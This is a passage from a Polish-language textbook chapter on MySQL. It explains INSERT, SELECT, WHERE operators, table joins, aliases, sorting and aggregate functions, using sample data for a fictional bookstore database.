przykładzie wszystkie podane wartości są ujęte w apostrofy. MySQL wymaga, aby łańcuchy znaków
były zawsze podawane w cudzysłowach lub apostrofach (w dalszej części książki używane będą
obie te formy zapisu). Liczby i daty nie wymagają stosowania ani cudzysłowów, ani apostrofów.

Warto zwrócić uwagę na kilka ciekawych własności polecenia INSERT. Zawarte w poleceniu wartości
zostaną wstawione do kolumn w tej kolejności, w jakiej je podano. Jeżeli wystarczy wypełnić
danymi tylko niektóre kolumny bądź też wygodniej jest podawać dane w innej kolejności, można
wypisać nazwy odpowiednich kolumn zaraz za nazwą tabeli. Na przykład:
INSERT INTO Klienci (nazwisko, adres, miejscowosc) VALUES
('Maria Janowska', 'Kolejowa 15', 'Katowice');

Metoda ta jest szczególnie przydatna, gdy brakuje niektórych danych potrzebnych do zapełnie-
nia rekordu lub gdy wypełnienie niektórych pól jest opcjonalne. Ten sam efekt zostanie osiągnięty
po wpisaniu równoważnego polecenia:
INSERT INTO Klienci SET nazwisko='Marian Strzelec', adres='Aroniowa 12', miejscowosc='Lublin';
Rozdział 10.  Praca z bazą danych MySQL 255

Zauważyliście zapewne, że zapisując do bazy informacje na temat Julii Kowalskiej, pierwszym


danym (odpowiadającym kolumnie KlientID) przypisano wartość NULL, a w pozostałych pole-
ceniach kolumna ta w ogóle była pomijana. Należy przypomnieć, że przy tworzeniu bazy danych
księgarni kolumna KlientID została zadeklarowana jako klucz podstawowy tabeli Klienci, więc
tym bardziej zdumiewa pozostawienie tej wartości pustej. Pole klucza podstawowego zostało
jednak zadeklarowane również jako AUTO_INCREMENT. Dzięki temu wpisanie rekordu, w którym
wartość pola KlientID jest równa NULL lub też pole to zostało w ogóle pominięte, spowoduje, że
MySQL sam wygeneruje wartość o jeden większą niż dotychczasowa największa wartość znaj-
dująca się w tej kolumnie i wstawi ją w odpowiednie pole. To bardzo użyteczne, nieprawdaż?

Istnieje także możliwość wpisania więcej niż jednego wiersza danych za pomocą pojedynczego
polecenia INSERT. Każdy wiersz musi być wówczas ujęty w nawiasy i oddzielony od sąsiednich
nawiasów przecinkami.

Instrukcja INSERT jest dostępna tylko w kilku innych wariantach. Po słowie INSERT można dodać
słowo LOW_PRIORITY, DELAYED lub HIGH_PRIORITY. Pierwsze oznacza, że system może poczekać
i wstawić dane później, gdy na tabeli nie będzie wykonywany odczyt. Słowo kluczowe DELAYED
z kolei oznacza, że wstawiane dane będą podlegać buforowaniu. Jeśli serwer będzie zajęty, można
kontynuować wykonywanie zapytań, nie czekając na zakończenie wykonywania operacji INSERT.
Słowo kluczowe HIGH_PRIORITY ma znaczenie wyłącznie w przypadku, gdy MySQL został urucho-
miony z opcją --low-priority-updates. Jego działanie polega na unieważnieniu tej opcji podczas
wykonywania bieżącego zapytania. Jeśli opcja --low-priority-updates nie została użyta, to także
zastosowanie słowa kluczowego HIGH_PRIORITY nie da żadnych efektów.

Zaraz po tych słowach kluczowych można wpisać słowo IGNORE. Oznacza ono, że jeśli nastąpi próba
wstawienia wiersza, który spowodowałby duplikację kluczy unikatowych, zostanie ona niejaw-
nie zignorowana. Kolejną alternatywą jest umieszczenie na końcu instrukcji INSERT wyrażenia
ON DUPLICATE KEY UPDATE wyrazenie. Umożliwi to dokonanie zmiany wartości zduplikowanego
klucza przy użyciu zwykłej instrukcji UPDATE (omówionej w dalszej części rozdziału).

Do bazy danych księgarni „Książkorama” zostaną teraz wpisane przykładowe dane. Operacja
ta zostanie wykonana za pomocą kolejnych poleceń INSERT, wykorzystujących możliwość zapi-
sywania więcej niż jednego wiersza naraz. Realizujący to kod SQL można znaleźć w pliku o nazwie
ksiazki_insert.sql, znajdującym się w przykładach dołączonych do tej książki, w katalogu rozdzial_10.
Jest on również zaprezentowany na listingu 10.1.

Listing 10.1. ksiazki_insert.sql — kod SQL wstawiający przykładowe dane do bazy danych księgarni
„Książkorama”
use ksiazki;

INSERT INTO Klienci VALUES


(1, 'Julia Kowalska', 'Wierzbowa 25', 'Warszawa'),
(2, 'Adam Pawlak', 'Szeroka 1/47', 'Szczecin'),
(3, 'Michalina Nowak', 'Zachodnia 357', 'Gliwice');

INSERT INTO Zamowienia VALUES


(NULL, 3, 69.98, '2007-04-02'),
(NULL, 1, 12.99, '2007-04-15'),
(NULL, 2, 74.00, '2007-04-19'),
(NULL, 3, 6.99, '2007-05-01');

INSERT INTO Ksiazki VALUES


('0-672-31697-8', 'Michael Morgan', 'Java 2 dla Profesjonalistow', 34.99),
('0-672-31745-1', 'Thomas Down', 'Instalacja Debian GNU/Linux', 24.99),
('0-672-31509-2', 'Lucas Pruitt', 'Poznaj GIMP w 24 godziny', '24.99'),
('0-672-31769-9', 'Thomas Schenk', 'Caldera OpenLinux ujarzmiony', 49.99);
256 Część II  Stosowanie MySQL

INSERT INTO Pozycje_zamowione VALUES


(1, '0-672-31697-8', 2),
(2, '0-672-31769-9', 1),
(3, '0-672-31769-9', 1),
(3, '0-672-31509-2', 1),
(4, '0-672-31745-1', 3);

INSERT INTO Recenzje_ksiazek VALUES


('0-672-31697-8', 'Pozycja ta znacznie szerzej i bardziej zrozumiale niz inne przedstawia
tajniki jezyka Java.');

Polecenia zawarte w pliku ksiazki_insert.sql można wykonać, wpisując w wierszu poleceń syste-
mu operacyjnego:
> mysql –h nazwa_komputera –u ksiazkorama –p < ścieżka/do/ksiazki_insert.sql

Wyszukiwanie danych w bazie


Najważniejszym chyba poleceniem SQL jest SELECT. Służy ono do wyszukiwania w bazie tych
wierszy z tabel, które spełniają zadane kryteria. Polecenie to może być wykonywane z całym
szeregiem opcji i na różnorodne sposoby.
Składnia polecenia SELECT jest następująca:
SELECT [opcje] pozycje
[INTO plik]
FROM [nazwy_tabel]
[PARTITION partycja]
[WHERE warunek]
[GROUP BY rodzaj_grupowania]
[HAVING wartość_funkcji]
[ORDER BY porządek_sortowania]
[LIMIT limit]
[PROCEDURE nazwa_procedury(argumenty)]
[INTO miejsce_docelowe]
[opcje_blokowania]
;

Wszystkie klauzule polecenia SELECT zostaną omówione w dalszej części rozdziału. Najpierw jednak
przedstawimy zapytanie nieposiadające żadnych dodatkowych opcji. Służy ono do wyszukania
odpowiednich pozycji ze wskazanej tabeli.
Zazwyczaj pozycjami tymi są po prostu kolumny wchodzące w skład wskazanej tabeli (jednak mogą
to być także np. rezultaty wykonania jakiegoś wyrażenia — więcej na ten temat w dalszej części
rozdziału). Wykonanie poniższego zapytania spowoduje wyświetlenie zawartości kolumn
Nazwisko i Miejscowosc z tabeli Klienci:
SELECT Nazwisko, Miejscowosc
FROM Klienci;

Jeżeli wcześniej zostały wykonane polecenia zawarte w pliku ksiazki_insert.sql, to MySQL powi-
nien wygenerować następujące zestawienie:
+-----------------+-------------+
| Nazwisko | Miejscowosc |
+-----------------+-------------+
| Julia Kowalska | Warszawa |
| Adam Pawlak | Szczecin |
| Michalina Nowak | Gliwice |
+-----------------+-------------+
3 rows in set (0.00 sec)
Rozdział 10.  Praca z bazą danych MySQL 257

Jak widać, otrzymana lista zawiera zatem dane tylko z tych kolumn, które wybrano, tj. Nazwisko
i Miejscowosc, zawartych w tabeli Klienci. Są to dane ze wszystkich rekordów zapisanych w tabeli.
Po słowie kluczowym SELECT można wypisać nazwy dowolnej liczby kolumn. Oprócz tego można
również podać inne pozycje niebędące kolumnami. Jedną z nich jest np. symbol wieloznaczny *,
który zastępuje nazwy wszystkich kolumn wchodzących w skład podanej tabeli lub tabel. Na
przykład aby wyszukać wartości wszystkich pól wszystkich rekordów przechowywanych w tabeli
Pozycje_zamowione, należy użyć następującego polecenia:
SELECT *
FROM Pozycje_zamowione;

Efekt jego wykonania będzie następujący:


+--------------+---------------+-------+
| Zamowienieid | ISBN | Ilosc |
+--------------+---------------+-------+
| 1 | 0-672-31697-8 | 2 |
| 2 | 0-672-31769-9 | 1 |
| 3 | 0-672-31509-2 | 1 |
| 3 | 0-672-31769-9 | 1 |
| 4 | 0-672-31745-1 | 3 |
+--------------+---------------+-------+
5 rows in set (0.01 sec)

Wyszukiwanie danych
spełniających określone kryteria
W celu ograniczenia liczby wyświetlanych wierszy należy określić kryteria wyszukiwania. Doko-
nuje się tego za pomocą klauzuli WHERE. Na przykład wykonanie następującego polecenia:
SELECT *
FROM Zamowienia
WHERE Klientid=3;

spowoduje wyświetlenie wartości wszystkich pól tych wierszy, w których KlientID ma wartość
równą 3. Oto efekt:
+--------------+----------+---------+------------+
| ZamowienieID | KlientID | Wartosc | Data |
+--------------+----------+---------+------------+
| 1 | 3 | 69.98 | 2007-04-02 |
| 4 | 3 | 6.99 | 2007-05-01 |
+--------------+----------+---------+------------+
2 rows in set (0.01 sec)

Klauzula WHERE służy do określania kryteriów, które będą podstawą wyszukiwania. W powyższym
przykładzie zażądano wyświetlenia tylko tych wierszy, w których wartość pola KlientID jest
równa 3. Należy zwrócić uwagę, że w MySQL operatorem równości jest pojedynczy znak =, co
jest istotną różnicą w porównaniu z operatorem równości stosowanym w PHP. Warto o tym pamię-
tać, gdyż może to powodować pewne zamieszanie, szczególnie w sytuacji, gdy skrypty PHP
współpracują z bazą danych.

Oprócz operatora równości MySQL obsługuje pełen zestaw operatorów i wyrażeń regularnych.
Te najczęściej wykorzystywane w klauzuli WHERE zostały przedstawione w tabeli 10.1, jednak
nie jest to ich pełna lista — jeżeli istnieje potrzeba wykorzystania innego operatora lub wyraże-
nia, należy zajrzeć do podręcznika MySQL.
258 Część II  Stosowanie MySQL

Tabela 10.1. Operatory porównania najczęściej stosowane w klauzuli WHERE

Nazwa
Operator Przykład Opis
(jeśli jest stosowana)
= równy KlientID=3 Sprawdza, czy dwie wartości są sobie
równe
> większy od Wartosc>60.00 Sprawdza, czy pierwsza wartość
jest większa od drugiej
< mniejszy od Wartosc<60.00 Sprawdza, czy pierwsza wartość
jest mniejsza od drugiej
>= większy lub równy Wartosc>=60.00 Sprawdza, czy pierwsza wartość
jest większa lub równa drugiej
<= mniejszy lub równy Wartosc<=60.00 Sprawdza, czy pierwsza wartość
jest mniejsza lub równa drugiej
!= lub <> różny Ilosc!=0 Sprawdza, czy dwie wartości różnią
się od siebie
IS NOT NULL Adres IS NOT NULL Sprawdza, czy pole ma nadaną wartość
IS NULL Adres IS NULL Sprawdza, czy pole jest puste
BETWEEN Ilosc BETWEEN 0 AND 60.00 Sprawdza, czy wartość jest większa
lub równa wartości minimalnej
i jednocześnie mniejsza lub równa
wartości maksymalnej
IN Miejscowosc IN('Warszawa', Sprawdza, czy wartość należy
'Lublin') do określonego zbioru wartości
NOT IN Miejscowosc NOT Sprawdza, czy wartość nie należy
IN('Warszawa', 'Lublin') do określonego zbioru wartości
LIKE wyszukiwanie wzorca Nazwisko LIKE 'Fred %' Sprawdza, czy wartość pasuje
do określonego wzorca
NOT LIKE wyszukiwanie wzorca Nazwisko NOT LIKE 'Fred %' Sprawdza, czy wartość nie pasuje
do określonego wzorca
REGEXP wyrażenie regularne Nazwisko REGEXP '^Ma.*' Sprawdza, czy wartość pasuje
do określonego wyrażenia regularnego

Ostatnie trzy pozycje zawarte w tabeli odwołują się do operatorów LIKE i REGEXP, które służą do po-
równywania wartości z podanym wzorcem.

Operator LIKE wykorzystuje wzorce udostępniane przez język SQL. Wzorce mogą zawierać zwykły
tekst oraz znak %, będący symbolem wieloznacznym, który zastępuje dowolną liczbę dowolnych
znaków, a także znak _, zastępujący dowolny pojedynczy znak.

Słowo kluczowe REGEXP stosuje się do przyrównywania wartości do wyrażeń regularnych. MySQL
obsługuje wyrażenia regularne w stylu POSIX. Słowo kluczowe REGEXP można zastąpić słowem
RLIKE, będącym jego synonimem. Styl POSIX jest nieco odmienny od stosowanych domyślnie
w PHP wyrażeń regularnych PCRE. (W języku PHP wcześniej także był używany styl POSIX, lecz
został on uznany za przestarzały). Więcej informacji na ten temat przedstawiliśmy w rozdziale 4.

W poleceniu SELECT można określać większą liczbę kryteriów wyszukiwania przy użyciu prostych
operatorów oraz składni dopasowywania do wzorca połączonych operatorami logicznymi AND i OR,
jak pokazano w poniższym przykładzie.
Rozdział 10.  Praca z bazą danych MySQL 259

SELECT *
FROM Zamowienia
WHERE KlientID = 3 OR KlientID = 2;

Wyszukiwanie danych w wielu tabelach


Często zdarza się, że w celu otrzymania konkretnej informacji należy przeanalizować dane z więk-
szej liczby tabel. Na przykład aby dowiedzieć się, którzy klienci złożyli zamówienie w bieżącym
miesiącu, trzeba przejrzeć dane z tabel Klienci i Zamowienia. Jeżeli zaś użytkownika zainteresuje, jakie
książki zostały zamówione, wówczas należałoby przeglądnąć dodatkowo tabelę Pozycje_zamowione.

Dane te zawarte są w oddzielnych tabelach, ponieważ odnoszą się do odrębnych obiektów świata
rzeczywistego. Jest to jedna z zasad prawidłowej konstrukcji bazy danych, o której wspomniano
w rozdziale 8.

Aby uzyskać wszystkie potrzebne informacje za pomocą poleceń języka SQL, należy wykonać
operację nazywaną łączeniem (ang. join). Prowadzi ona do połączenia dwóch lub więcej tabel
w celu odnalezienia związków między zapisanymi w nich danymi. Jeśli na przykład poszukiwane
są informacje na temat zamówień złożonych przez Julię Kowalską, trzeba najpierw w tabeli
Klienci sprawdzić wartość pola KlientID tego klienta, a następnie w tabeli Zamowienia odszukać
wiersze z tą samą wartością zapisaną w polu KlientID.

Choć zrozumienie zasady operacji łączenia nie sprawia trudności, należy ona do bardziej wyrafi-
nowanych i złożonych operacji języka SQL. MySQL obsługuje kilka różnych typów operacji łącze-
nia, z których każdy służy do innych celów.

Łączenie dwóch tabel


Spójrzmy najpierw na kod SQL zapytania, które było rozważane w poprzednim punkcie:
SELECT Zamowienia.ZamowienieID, Zamowienia.Wartosc, Zamowienia.Data
FROM Klienci, Zamowienia
WHERE Klienci.Nazwisko='Julia Kowalska' AND Klienci.KlientID=Zamowienia.KlientID;

Po jego wykonaniu zostanie wyświetlona następująca tabela:


+--------------+---------+------------+
| Zamowienieid | Wartosc | Data |
+--------------+---------+------------+
| 2 | 12.99 | 2007-04-15 |
+--------------+---------+------------+
1 row in set (0.02 sec)

Występuje tu kilka elementów, które należy omówić. Przede wszystkim znalezienie żądanych in-
formacji wymagało danych pochodzących z dwóch tabel, dlatego też nazwy obu zawarto w tekście
zapytania.

Co więcej, dokonano operacji łączenia tabel, czego Czytelnik mógł nawet nie zauważyć. Prze-
cinek oddzielający nazwy dwóch tabel jest równoważny użyciu słów kluczowych INNER JOIN
lub CROSS JOIN. Jest to typ połączenia określany niekiedy mianem full join lub też produktu
kartezjańskiego obu tabel. Oznacza to w praktyce: „Weź wymienione tabele i utwórz jedną, dużą.
Duża tabela powinna zawierać po jednym wierszu dla każdej możliwej kombinacji wierszy z każdej
z wymienionych tabel, niezależnie od tego, czy ta kombinacja ma sens, czy nie”. Innymi słowy,
w wyniku tej operacji otrzymano tabelę zawierającą każdy wiersz tabeli Klienci połączony z każ-
dym wierszem tabeli Zamowienia, bez względu na to, czy dany klient złożył to zamówienie, czy nie.
260 Część II  Stosowanie MySQL

W większości przypadków na nic się zdaje poprzestanie na wykonaniu tylko takiej mało wyrafino-
wanej operacji. Najczęściej poszukiwane są wiersze, które do siebie pasują. W rozważanym
przypadku są to rekordy z zamówieniami złożonymi przez wskazanego klienta wraz z rekordem
zawierającym jego dane.

Rekordy te zostały odnalezione dzięki użyciu warunku połączenia (ang. join condition) w klauzuli
WHERE. Jest to specjalny typ wyrażenia warunkowego, określającego, które pola ustanawiają
związek między dwiema tabelami. W rozważanym przykładzie warunek połączenia miał postać:
Klienci.KlientID=Zamowienia.KlientID

Dzięki niemu MySQL zawarł w tabeli wynikowej tylko te wiersze, w których wartość pola KlientID
z tabeli Klienci odpowiada wartości pola o tej samej nazwie z tabeli Zamowienia.

Dodanie do zapytania warunku połączenia spowodowało zmianę typu połączenia na typ określany
po angielsku jako equi-join.

W przykładowym zapytaniu użyto separatora mającego postać kropki w celu wyraźnego wskazania,
z której tabeli ma pochodzić kolumna o podanej nazwie. Tak więc wyrażenie Klienci.KlientID
odnosi się do kolumny KlientID z tabeli Klienci, a Zamowienia.KlientID odnosi się do kolumny
KlientID z tabeli Zamowienia.

Użycie separatora jest niezbędne w przypadku, gdy w dwóch lub więcej tabelach istnieją kolumny
o identycznych nazwach. Separator w postaci kropki może być również użyty w celu rozróżnienia
kolumn pochodzących z rozmaitych baz danych. W analizowanym przykładzie została zastosowana
notacja typu tabela.kolumna. Oprócz tego można również wskazać bazę danych, wykorzystując
notację baza.tabela.kolumna, np. w celu sprawdzenia prawdziwości wyrażenia:
ksiazki.Zamowienia.KlientID=innabaza.Zamowienia.KlientID

Separator może być również użyty w odniesieniu do wszystkich kolumn wyszczególnionych


w zapytaniu. Jest to szczególnie przydatne w bardziej skomplikowanych zapytaniach. Co prawda,
serwer MySQL tego nie wymaga, jednak stosowanie separatora pozwala zwiększyć czytelność
zapytania i ułatwia dokonanie ewentualnych modyfikacji w przyszłości. Dlatego też rozszerzając
nasz przykład, będziemy nadal wykorzystywać separator w taki sam sposób, np.
Klienci.Nazwisko='Julia Kowalska'

Kolumna Nazwisko występuje co prawda tylko w tabeli Klienci, nie obowiązuje więc wymóg
zastosowania separatora. MySQL prawidłowo odczyta tę klauzulę. Jednak dla ludzi samo nazwisko
jest mało znaczące, dlatego zastosowanie konstrukcji Klienci.Nazwisko znacznie zwiększy
czytelność zapytania.

Łączenie trzech i więcej tabel


Łączenie trzech lub więcej tabel jest równie proste jak w przypadku dwóch tabel. Zasadą jest,
że należy zestawiać tabele parami, nakładając jednocześnie warunek łączenia. Można więc przyjąć,
iż łączenie np. trzech tabel polega na odnajdywaniu związków między danymi z jednej tabeli
i danymi z drugiej tabeli, które z kolei są powiązane z danym zawartymi w trzeciej.

Na przykład w celu odnalezienia klientów, którzy nabyli książki dotyczące języka Java (choćby
po to, by rozesłać im informacje o wydaniu nowej pozycji o tej tematyce), należy prześledzić
związki między danymi z kilku tabel.
Rozdział 10.  Praca z bazą danych MySQL 261

Trzeba więc znaleźć klientów, którzy złożyli co najmniej jedno zamówienie obejmujące pozycję
na temat języka Java. Aby powiązać dane z tabeli Klienci z danymi z tabeli Zamowienia, trzeba
przeanalizować wartości pola KlientID, tak jak to uczyniliśmy w poprzednim przykładzie. Tabela
Zamowienia natomiast powiązana jest z tabelą Pozycje_zamowione za pomocą pola ZamowienieID,
ta z kolei związana jest z tabelą Ksiazki numerem ISBN. Po odnalezieniu wymienionych połączeń
można przystąpić do wyszukania wszystkich książek z wyrazem „Java” w tytule, po czym wyświe-
tlić nazwiska tych klientów, którzy nabyli co najmniej jedną z nich.

Odpowiednie zapytanie przedstawia się następująco:


SELECT Klienci.Nazwisko
FROM Klienci, Zamowienia, Pozycje_zamowione, Ksiazki
WHERE Klienci.KlientID = Zamowienia.KlientID
AND Zamowienia.ZamowienieID = Pozycje_zamowione.ZamowienieID
AND Pozycje_zamowione.ISBN = Ksiazki.ISBN
AND Ksiazki.Tytul LIKE '%Java%';

W wyniku zostanie zwrócona następująca tabela:


+-----------------+
| Nazwisko |
+-----------------+
| Michalina Nowak |
+-----------------+
1 row in set (0.01 sec)

W celu odnalezienia tego klienta trzeba było prześledzić dane z czterech tabel, natomiast aby
powiązać je za pomocą połączenia typu equi-join, należało zastosować trzy różne warunki po-
łączenia. W przypadku łączenia tabel prawidłowością jest, że na każdą ich parę przypada jeden
warunek. W konsekwencji suma wszystkich nałożonych warunków połączenia jest o jeden mniejsza
niż liczba łączonych tabel. Zasadę tę warto pamiętać szczególnie wtedy, gdy trzeba znaleźć
błąd w zapytaniu zwracającym nieprawidłowe wyniki. Należy wówczas sprawdzić nałożone
warunki połączenia i prześledzić całą ścieżkę połączeń: od danych, które są znane, do danych,
które chce się uzyskać.

Wyszukiwanie danych niepołączonych ze sobą


Kolejnym typem połączenia obsługiwanym przez MySQL jest tzw. left join.

Zapytania z poprzednich przykładów służyły do wyszukiwania danych pochodzących z różnych


tabel, ale w jakiś sposób ze sobą powiązanych. Czasem jednak istnieje potrzeba znalezienia rekor-
dów z danymi ze sobą niezwiązanymi — na przykład klientów, którzy nigdy nie złożyli zamówie-
nia, czy książek, których nikt dotąd nie kupił.

Jednym ze sposobów wykonania tego zadania w MySQL jest użycie połączenia typu left join.
Spowoduje ono wyszukanie wierszy spełniających zadany warunek połączenia między dwiema
tabelami. Jeśli jednak w drugiej tabeli nie ma odpowiadającego wiersza, do tabeli wynikowej
zostanie dodany wiersz z wartością NULL w prawej kolumnie.

Oto przykładowe zapytanie:


SELECT Klienci.KlientID, Klienci.Nazwisko, Zamowienia.ZamowienieID
FROM Klienci LEFT JOIN Zamowienia
ON Klienci.KlientID = Zamowienia.KlientID;

W zapytaniu tym tabele Klienci i Zamowienia połączone są za pomocą left join. Jak można zauwa-
żyć, składnia warunku połączenia tego typu jest nieco inna — do określenia warunku połączenia
korzysta się ze specjalnej klauzuli ON.
262 Część II  Stosowanie MySQL

Wynik tego zapytania jest następujący:


+----------+-----------------+--------------+
| KlientID | Nazwisko | ZamowienieID |
+----------+-----------------+--------------+
| 1 | Julia Kowalska | 2 |
| 2 | Adam Pawlak | 3 |
| 3 | Michalina Nowak | 1 |
| 3 | Michalina Nowak | 4 |
+----------+-----------------+--------------+
4 rows in set (0.00 sec)

Powyższe zapytanie zwraca wyłącznie tych klientów, którzy mają odpowiadające im rekordy
w tabeli zamówień.
W celu wyszukania tylko tych klientów, którzy jeszcze niczego nie zamówili, należy sprawdzić
wartości pola klucza podstawowego prawej tabeli (w tym przypadku: pole ZamowienieID) i wybrać
wiersze, dla których wartość ta jest równa NULL:
SELECT Klienci.KlientID, Klienci.Nazwisko
FROM Klienci LEFT JOIN Zamowienia
USING (KlientID)
WHERE Zamowienia.ZamowienieID IS NULL;

Obecnie wykonanie tego zapytania nie zwróci żadnych wyników, gdyż wszyscy klienci zapisani
w bazie złożyli zamówienia.

Dodajmy zatem kolejnego klienta:


INSERT INTO Klienci VALUES
(NULL, 'Jan Nowakowski', 'Krakowska 234', 'Kielce');

Teraz powtórne wykonanie poprzedniego zapytania zwróci następujące wyniki:


+----------+-----------------+
| KlientID | Nazwisko |
+----------+-----------------+
| 4 | Jan Nowakowski |
+----------+-----------------+
1 row in set (0.00 sec)

Ponieważ Jan jest nowym klientem, tak jak można się było tego spodziewać, tylko on nie złożył
jeszcze żadnego zamówienia.
Należy zwrócić uwagę na to, że w tym przykładzie została zastosowana jeszcze inna składnia
warunku połączenia. Definiując left join, można użyć klauzuli ON (jak we wcześniejszym przykła-
dzie) lub klauzuli USING, wykorzystanej ostatnio. Trzeba jednak pamiętać, że w przypadku USING
nie można wskazać nazwy tabeli, z której ma pochodzić pole łączące. Pola te muszą mieć takie same
nazwy w obu łączonych tabelach.
Tego typu zapytania można również konstruować przy użyciu podzapytań. Więcej na ich temat
powiemy w dalszej części tego rozdziału.

Używanie innych nazw tabel: aliasy


Często wygodniejsze (a czasem wręcz niezbędne) jest odwoływanie się do tabel za pomocą innych
nazw niż zostały im przypisane. Owe inne nazwy, czyli aliasy, nadaje się w początkowej części
zapytania i używa w całym jego pozostałym tekście. Aliasy są szczególnie przydatne jako
skrótowce. Rozważmy obszerne zapytanie przedstawione w poprzednim punkcie, tym razem
zapisane z użyciem aliasów:
Rozdział 10.  Praca z bazą danych MySQL 263

SELECT Kl.Nazwisko
FROM Klienci AS Kl, Zamowienia AS Z, Pozycje_zamowione AS Pz, Ksiazki AS Ks
WHERE Kl.KlientID = Z.KlientID
AND Z.ZamowienieID = Pz.ZamowienieID
AND Pz.ISBN = Ks.ISBN
AND Ks.Tytul LIKE '%Java%';

Wskazując tabele, które mają być przeszukane, użyto klauzuli AS w celu zadeklarowania dla nich
aliasów. Również kolumny mogą mieć własne aliasy (do tego zagadnienia powrócimy w punkcie
dotyczącym funkcji agregujących).

Użycie aliasów jest konieczne w przypadku łączenia tabeli z samą sobą. Na szczęście, operacja
ta jest o wiele łatwiejsza, niż wskazuje nazwa. Jest ona szczególnie użyteczna na przykład wtedy,
gdy trzeba wyszukać w tabeli dane mające te same wartości. Aby wyszukać klientów mieszkających
w tych samych miejscowościach — na przykład w celu założenia klubów czytelników — można
nadać jednej tabeli (w tym przypadku Klienci) dwa różne aliasy:
SELECT K1.Nazwisko, K2.Nazwisko, K1.Miejscowosc
FROM Klienci AS K1, Klienci AS K2
WHERE K1.Miejscowosc = K2.Miejscowosc
AND K1.Nazwisko != K2.Nazwisko;

W przypadku tego zapytania MySQL traktuje tabelę Klienci, jakby były to dwie różne tabele o na-
zwach K1 i K2, a następnie przeprowadza ich łączenie na podstawie wartości pola Miejscowosc.
Nałożono również drugi warunek — K1.Nazwisko != K2.Nazwisko — w celu pominięcia wierszy
zawierających podwójne dane jednego klienta.

Podsumowanie typów połączeń


Wszystkie typy połączeń zaprezentowane w tym podrozdziale są zebrane w tabeli 10.2. Oprócz
nich istnieją jeszcze inne typy, jednak stosunkowo rzadko wykorzystywane.

Tabela 10.2. Typy połączeń w MySQL

Nazwa Opis
Produkt kartezjański Wszystkie możliwe kombinacje wszystkich wierszy łączonych tabel. Stosowane przez
użycie przecinków oddzielających nazwy tabel i pominięcie klauzuli WHERE
Full join Jak wyżej
Cross join Jak wyżej. Może być również stosowane przez użycie słów kluczowych CROSS JOIN
pomiędzy nazwami łączonych tabel
Inner join Semantycznie równoważne przecinkowi. Może być również stosowane przez użycie
słów kluczowych INNER JOIN. W razie pominięcia klauzuli WHERE równoważne połączeniu
typu full join, częściej jednak stosowane w klasycznej formie (tj. z klauzulą WHERE)
Equi-join Stosowane z wyrażeniem warunkowym zawierającym znak równości w celu wyszukania
pasujących do siebie wierszy z różnych tabel. W języku SQL odpowiada mu klauzula WHERE
Left join Powoduje wyszukanie pasujących do siebie wierszy ze wskazanych tabel oraz wypełnienie
wierszy nieodpowiadających sobie wartościami NULL. W SQL stosowane za pomocą słów
kluczowych LEFT JOIN. Używane w celu wyszukania brakujących wartości. Łączenie tabel
w odwrotnym kierunku można uzyskać przez użycie słów RIGHT JOIN
264 Część II  Stosowanie MySQL

Szeregowanie danych w określonym porządku


W celu uszeregowania wyszukanych wierszy w określonym porządku należy użyć klauzuli ORDER BY
polecenia SELECT. Dzięki temu możliwe jest bardziej czytelne przedstawienie danych.

Klauzula ORDER BY jest przeznaczona do sortowania wierszy danych na podstawie wartości jednej
lub więcej kolumn, wyszczególnionych w ramach polecenia SELECT. Na przykład:
SELECT Nazwisko, Adres
FROM Klienci
ORDER BY Nazwisko;

Wykonanie tego polecenia spowoduje utworzenie tabeli zawierającej nazwiska klientów, uszerego-
wane w kolejności alfabetycznej, wraz z ich adresami:
+-----------------+---------------+
| Nazwisko | Adres |
+-----------------+---------------+
| Adam Pawlak | Szeroka 1/47 |
| Jan Nowakowski | Krakowska 234 |
| Julia Kowalska | Wierzbowa 25 |
| Michalina Nowak | Zachodnia 357 |
+-----------------+---------------+
4 rows in set (0.00 sec)

W tym przypadku kolumna Nazwisko zawiera zarówno imię, jak i nazwisko klienta, tak więc rekordy
szeregowane są najpierw pod względem imion, a dopiero potem, jeśli istnieje taka potrzeba,
pod względem nazwisk; aby przeprowadzić sortowanie pod względem samych nazwisk, należałoby
utworzyć dwie oddzielne kolumny: Imie i Nazwisko.
Domyślnym porządkiem sortowania jest porządek rosnący (od a do z lub od liczby najmniejszej
do największej). Porządek taki można również narzucić w treści zapytania — służy do tego
słowo kluczowe ASC:
SELECT Nazwisko, Adres
FROM Klienci
ORDER BY Nazwisko ASC;

Można również zastosować malejący porządek sortowania, wpisując słowo kluczowe DESC:
SELECT Nazwisko, Adres
FROM Klienci
ORDER BY Nazwisko DESC;

Dodatkowo sortowanie może odbywać się na podstawie wartości jednej lub więcej kolumn.
Można je wskazywać, podając ich nazwy, aliasy, a nawet pozycje, na których występują w tabeli.

Grupowanie i agregowanie danych


Często istnieje konieczność określenia, ile wierszy spełnia zadane kryteria albo też jaka jest średnia
wartość danego pola, np. wartość pojedynczego zamówienia. MySQL posiada szereg funkcji agre-
gujących, przeznaczonych do znajdowania odpowiedzi na tego typu pytania.
Funkcje agregujące mogą być stosowane do całych tabel lub tylko do niektórych zbiorów danych
zapisanych w tabeli. Najczęściej używane zostały przedstawione w tabeli 10.3.
Rozdział 10.  Praca z bazą danych MySQL 265

Tabela 10.3. Funkcje agregujące w MySQL

Nazwa Opis
AVG(kolumna) Oblicza wartość średnią we wskazanej kolumnie
COUNT(elementy) Zwraca liczbę niezerowych wartości w podanej kolumnie. Jeżeli nazwa kolumny jest
poprzedzona słowem kluczowym DISTINCT, funkcja zwróci tylko ilość występujących
w niej odrębnych wartości. Jeżeli zamiast nazwy konkretnej kolumny wpisany
zostanie symbol *, funkcja zwróci wartość równą liczbie wierszy w tabeli
MIN(kolumna) Podaje najmniejszą wartość w kolumnie
MAX(kolumna) Podaje największą wartość w kolumnie
STD(kolumna) Oblicza odchylenie standardowe wartości w kolumnie
STDDEV(kolumna) Jak wyżej
SUM(kolumna) Sumuje wszystkie wartości z kolumny

O pierwszym z przykładów, które zostaną przedstawione, wspomniano na początku tego podroz-


działu. Średnią wartość wszystkich złożonych zamówień można obliczyć, wpisując następujące
zapytanie:
SELECT AVG(Wartosc)
FROM Zamowienia;

Wynik będzie miał postać:


+--------------+
| AVG(Wartosc) |
+--------------+
| 40.990001 |
+--------------+
1 row in set (0.02 sec)

Bardziej szczegółowe dane otrzymać można dzięki zastosowaniu klauzuli GROUP BY. Umożliwia
ona obliczenie średniej wartości grup zamówień wyodrębnionych na podstawie jakiegoś kryte-
rium — np. numeru klienta. Będzie więc wiadomo, który z nich składa największe zamówienia.
SELECT KlientID, AVG(Wartosc)
FROM Zamowienia
GROUP BY KlientID;

Użycie klauzuli GROUP BY wraz z funkcją agregującą faktycznie zmienia jej działanie. Zapytanie
